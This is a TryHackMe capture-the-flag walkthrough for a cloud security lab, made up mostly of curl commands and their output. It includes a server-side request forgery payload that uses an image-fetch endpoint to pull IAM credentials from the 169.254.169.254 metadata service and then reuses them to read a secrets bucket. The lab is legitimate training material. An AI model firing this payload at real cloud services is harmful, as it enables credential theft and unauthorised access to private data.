Cloud Security Fundamentals (TryHackMe)

Link to the challenge on TryHackMe: Cloud Security Fundamentals

nmap IP_Address

PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy
9000/tcp open  cslistener

curl http://IP_Address:9000/
dev-assets/
prod-secrets/

curl http://IP_Address:9000/dev-assets/
dev-notes.txt
welcome.txt

curl http://IP_Address:9000/dev-assets/dev-notes.txt
dev notes - staging environment
--------------------------------

we moved the image-importer to its own container called imagefetcher.
it is up on port 8080. it has a /fetch?url= feature that pulls any url
server-side. handy for previewing supplier assets, just do not point
it anywhere silly.

the IAM role attached to the instance is called web-app-role. it has
access to the prod-secrets bucket via the admin policy endpoint. ask
ops before poking at that bucket.

todo before go-live: lock down the dev-assets bucket, rotate the
AccessKeyId that ops pinned to the instance.

curl http://IP_Address:9000/dev-assets/welcome.txt
welcome to the dev-assets bucket.

this bucket holds public marketing images and staging test files.
nothing confidential here.

curl "http://IP_Address:8080/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"
{
  "Code": "Success",
  "LastUpdated": "2026-01-01T00:00:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "AKIATHM1234FAKEKEY0",
  "SecretAccessKey": "fakeSECRET/fakeSECRETKEYsim0lab0web0app0role",
  "Token": "FQoGZXIvYXdzEMn//////////wEaDEXAMPLEsimulatedTokenStringForTheLab==",
  "Expiration": "2099-12-31T23:59:59Z",
  "RoleArn": "arn:aws:iam::000000000000:role/web-app-role"
}

curl -H "X-Simulated-Token: AKIATHM1234FAKEKEY0" http://IP_Address:9000/admin/policy.json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "WildcardStorageAccess",
      "Effect": "Allow",
      "Action": "storage:*",
      "Resource": "bucket/prod-secrets/*"
    }
  ]
}

curl -H "X-Simulated-Token: AKIATHM1234FAKEKEY0" http://IP_Address:9000/prod-secrets/flag.txt
THM{sh4r3d_r3sp0ns1b1l1ty_redacted}